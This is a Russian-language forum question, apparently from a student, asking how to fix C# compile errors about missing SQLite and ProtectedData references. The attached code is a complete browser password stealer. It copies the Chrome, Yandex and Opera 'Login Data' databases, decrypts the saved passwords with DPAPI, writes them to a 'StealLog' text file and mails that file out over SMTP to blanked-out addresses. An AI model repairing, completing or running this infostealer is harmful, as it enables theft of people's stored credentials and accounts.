Ошибка CS0234 Тип или имя пространства имен "SQlite" не существует в пространстве имен "System.Data" (возможно, отсутствует ссылка на сборку)
Нету ссылок на проект System.Security и на SQLite. Вручную добавить не смог ,подскажите, пожалуйста, как можно исправить эти ошибки. P.S проектная работа по информационной безопасности.
Ошибка CS0234 Тип или имя пространства имен "SQlite" не существует в пространстве имен "System.Data" (возможно, отсутствует ссылка на сборку).
Ошибка CS1069 Не удалось найти имя типа "ProtectedData" в пространстве имен "System.Security.Cryptography". Этот тип был отправлен в сборку "System.Security.Cryptography.ProtectedData, Version=0.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a". Попробуйте добавить ссылку на эту сборку.
class Program
{
static void Main(string[] args)
{
Directory.CreateDirectory(Path.GetTempPath() + "StealLog");
string[] paths ={
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data"
};
string pwd_text = " ";
foreach (string p in paths)
{
var pas = Passwords.ReadPass(p);
if (File.Exists(p))
{
pwd_text += "-----------\r\n\r\n";
foreach (var item in pas)
{
if ((item.Item2.Length > 0) && (item.Item2.Length > 0))
{
pwd_text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n";
pwd_text += " \r\n";
}
}
}
}
if (File.Exists(Path.GetTempPath() + @"StealLog\Login Data"))
{
File.Delete(Path.GetTempPath() + @"StealLog\Login Data");
}
File.WriteAllText(Path.GetTempPath() + @"StealLog\Passwords.txt", pwd_text);
SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587);
Smtp.Credentials = new NetworkCredential("---------", "--------");
Smtp.EnableSsl = true;
MailMessage Message = new MailMessage();
Message.From = new MailAddress("--------");
Message.To.Add("---------");
Message.Subject = "-----------";
Message.Body = "---------";
new Attachment(Path.GetTempPath() + @"\Passwords.txt");
Smtp.Send(Message);
}
}
}
class Passwords
{
static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
{
if (File.Exists(Path.GetTempPath() + @"StealLog\Login Data"))
{
File.Delete(Path.GetTempPath() + @"StealLog\Login Data");
}
File.Copy(dbPath, Path.GetTempPath() + @"StealLog\Login Data");
dbPath = Path.GetTempPath() + @"StealLog\Login Data";
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQlite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var encryptedData = (byte[])reader[0];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей
var plainText = Encoding.ASCII.GetString(decodedData);
yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);
}
}
conn.Close();
}
}
}